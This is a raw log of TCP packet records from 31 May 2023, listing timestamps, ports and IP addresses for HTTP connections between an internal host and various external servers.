May 31, 2023 14:50:45.636811018 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636872053 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636888027 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.636936903 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.636993885 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.637046099 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.652703047 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.652734995 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.652901888 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.652918100 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.652955055 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.652995110 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653031111 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653042078 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653079033 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653181076 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653204918 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653232098 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653265953 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653333902 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653379917 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653479099 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653526068 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653608084 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653652906 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653737068 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653759003 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653784990 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653812885 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.653883934 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.653929949 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654025078 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654072046 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654155016 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654202938 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654284000 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654321909 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654334068 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654361010 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654448986 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654493093 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654576063 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654616117 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654704094 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654742956 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654833078 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654854059 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.654874086 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.654900074 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655009985 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655047894 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655096054 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655133009 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655216932 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655263901 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655284882 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655324936 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655404091 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655443907 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655527115 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655565023 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655607939 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655643940 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655725002 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655762911 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655806065 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655844927 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.655922890 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.655960083 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656004906 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656054020 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656075001 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656094074 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656112909 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656131983 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656152964 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656172037 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656172037 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.656198025 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656210899 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656219959 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.656223059 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656241894 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.656254053 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.656260014 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656281948 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.656291962 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656311035 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656347990 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656393051 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656436920 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656522036 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656572104 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656589031 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656632900 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656685114 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656723976 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656806946 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.656845093 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.656970978 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657010078 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657252073 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657274961 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657294035 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657306910 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657346010 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657452106 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657474041 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657491922 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657522917 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657608986 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657646894 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657730103 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657767057 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657769918 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.657819033 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.657984972 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658025026 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658035040 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658068895 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658128023 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658164024 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658255100 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658298969 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658365965 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658405066 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658457041 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658492088 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658570051 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658607960 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658685923 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658723116 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658766031 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658802032 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.658889055 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.658927917 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659007072 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659045935 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659130096 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659171104 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659218073 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659288883 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659373045 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659406900 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659410954 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659440994 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659554958 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659591913 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659645081 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659681082 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659743071 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659779072 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.659888029 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.659925938 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.735270977 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735316038 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735335112 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735353947 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735372066 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735392094 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735413074 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735431910 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735450029 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735467911 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735487938 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735503912 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735522985 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735532999 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.735541105 CEST	80	49951	104.218.10.254	192.168.2.3
May 31, 2023 14:50:45.735622883 CEST	49951	80	192.168.2.3	104.218.10.254
May 31, 2023 14:50:45.929044008 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929090023 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929117918 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929153919 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929181099 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929214954 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929256916 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929302931 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929347992 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929411888 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929454088 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929514885 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929553986 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929625988 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929719925 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929825068 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929848909 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929888010 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.929923058 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.929961920 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930028915 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930071115 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930176020 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930263996 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930270910 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930314064 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930391073 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930433035 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930506945 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930546999 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930634975 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930677891 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930763960 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930803061 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930823088 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930865049 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.930958986 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.930998087 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931020021 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931060076 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931220055 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931277037 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931281090 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931329012 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931454897 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931504965 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931505919 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931623936 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931651115 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931672096 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.931704044 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.931750059 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932076931 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932105064 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932123899 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932135105 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932151079 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932177067 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932185888 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932224035 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932272911 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932321072 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932414055 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932461977 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932578087 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932610035 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932624102 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932652950 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932673931 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932713985 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932771921 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.932817936 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.932949066 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933000088 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933037043 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933078051 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933094978 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933130980 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933213949 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933254957 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933309078 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933350086 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933429003 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933473110 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933541059 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933583975 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933706999 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933754921 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933778048 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933819056 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.933895111 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.933942080 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934015036 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934058905 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934077024 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934115887 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934221983 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934267044 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934289932 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934329987 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934429884 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934473991 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934514999 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934555054 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934648991 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934689045 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934768915 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934786081 CEST	80	49952	62.75.216.137	192.168.2.3
May 31, 2023 14:50:45.934815884 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:45.934848070 CEST	49952	80	192.168.2.3	62.75.216.137
May 31, 2023 14:50:46.116384983 CEST	49953	80	192.168.2.3	157.112.176.4
May 31, 2023 14:50:46.123017073 CEST	49954	80	192.168.2.3	5.196.166.214
May 31, 2023 14:50:46.163693905 CEST	80	49954	5.196.166.214	192.168.2.3
May 31, 2023 14:50:46.163891077 CEST	49954	80	192.168.2.3	5.196.166.214
May 31, 2023 14:50:46.164424896 CEST	49954	80	192.168.2.3	5.196.166.214
May 31, 2023 14:50:46.180036068 CEST	80	49936	93.187.206.66	192.168.2.3
May 31, 2023 14:50:46.180226088 CEST	49936	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:46.206309080 CEST	80	49954	5.196.166.214	192.168.2.3
May 31, 2023 14:50:46.206363916 CEST	80	49954	5.196.166.214	192.168.2.3
May 31, 2023 14:50:46.206466913 CEST	49954	80	192.168.2.3	5.196.166.214
May 31, 2023 14:50:46.323483944 CEST	49955	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:46.340446949 CEST	80	49955	188.114.97.7	192.168.2.3
May 31, 2023 14:50:46.340645075 CEST	49955	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:46.343385935 CEST	49955	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:46.360287905 CEST	80	49955	188.114.97.7	192.168.2.3
May 31, 2023 14:50:46.371792078 CEST	80	49955	188.114.97.7	192.168.2.3
May 31, 2023 14:50:46.371892929 CEST	49955	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:46.383946896 CEST	49955	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:46.406397104 CEST	80	49955	188.114.97.7	192.168.2.3
May 31, 2023 14:50:46.406610966 CEST	49955	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:46.407707930 CEST	80	49953	157.112.176.4	192.168.2.3
May 31, 2023 14:50:46.407834053 CEST	49953	80	192.168.2.3	157.112.176.4
May 31, 2023 14:50:46.444607973 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:46.444700956 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:46.472251892 CEST	49953	80	192.168.2.3	157.112.176.4
May 31, 2023 14:50:46.558445930 CEST	80	49918	213.186.33.40	192.168.2.3
May 31, 2023 14:50:46.558536053 CEST	49918	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:46.637723923 CEST	49956	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:46.763705969 CEST	80	49953	157.112.176.4	192.168.2.3
May 31, 2023 14:50:46.804891109 CEST	80	49956	103.224.212.221	192.168.2.3
May 31, 2023 14:50:46.805058002 CEST	49956	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:46.805486917 CEST	49956	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:46.846179962 CEST	80	49953	157.112.176.4	192.168.2.3
May 31, 2023 14:50:46.846373081 CEST	49953	80	192.168.2.3	157.112.176.4
May 31, 2023 14:50:46.946830988 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:47.013046026 CEST	80	49956	103.224.212.221	192.168.2.3
May 31, 2023 14:50:47.079407930 CEST	80	49956	103.224.212.221	192.168.2.3
May 31, 2023 14:50:47.079447031 CEST	80	49956	103.224.212.221	192.168.2.3
May 31, 2023 14:50:47.079544067 CEST	49956	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:47.079612017 CEST	49956	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:47.080009937 CEST	49956	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:47.125549078 CEST	80	49957	173.254.28.29	192.168.2.3
May 31, 2023 14:50:47.127331018 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:47.129379988 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:47.239245892 CEST	49941	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:47.247134924 CEST	80	49956	103.224.212.221	192.168.2.3
May 31, 2023 14:50:47.307981968 CEST	80	49957	173.254.28.29	192.168.2.3
May 31, 2023 14:50:47.313054085 CEST	80	49957	173.254.28.29	192.168.2.3
May 31, 2023 14:50:47.314477921 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:47.341423988 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:47.523036003 CEST	80	49957	173.254.28.29	192.168.2.3
May 31, 2023 14:50:47.523473024 CEST	49957	80	192.168.2.3	173.254.28.29
May 31, 2023 14:50:48.001127005 CEST	49958	80	192.168.2.3	157.112.182.239
May 31, 2023 14:50:48.225506067 CEST	49959	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:48.240111113 CEST	80	49959	99.84.88.20	192.168.2.3
May 31, 2023 14:50:48.241504908 CEST	49959	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:48.241915941 CEST	49959	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:48.256455898 CEST	80	49959	99.84.88.20	192.168.2.3
May 31, 2023 14:50:48.256622076 CEST	80	49959	99.84.88.20	192.168.2.3
May 31, 2023 14:50:48.256696939 CEST	49959	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:48.272064924 CEST	80	49958	157.112.182.239	192.168.2.3
May 31, 2023 14:50:48.272494078 CEST	49958	80	192.168.2.3	157.112.182.239
May 31, 2023 14:50:48.272836924 CEST	49958	80	192.168.2.3	157.112.182.239
May 31, 2023 14:50:48.278672934 CEST	49959	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:48.293239117 CEST	80	49959	99.84.88.20	192.168.2.3
May 31, 2023 14:50:48.293320894 CEST	80	49959	99.84.88.20	192.168.2.3
May 31, 2023 14:50:48.293469906 CEST	49959	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:48.431914091 CEST	49960	80	192.168.2.3	213.186.33.17
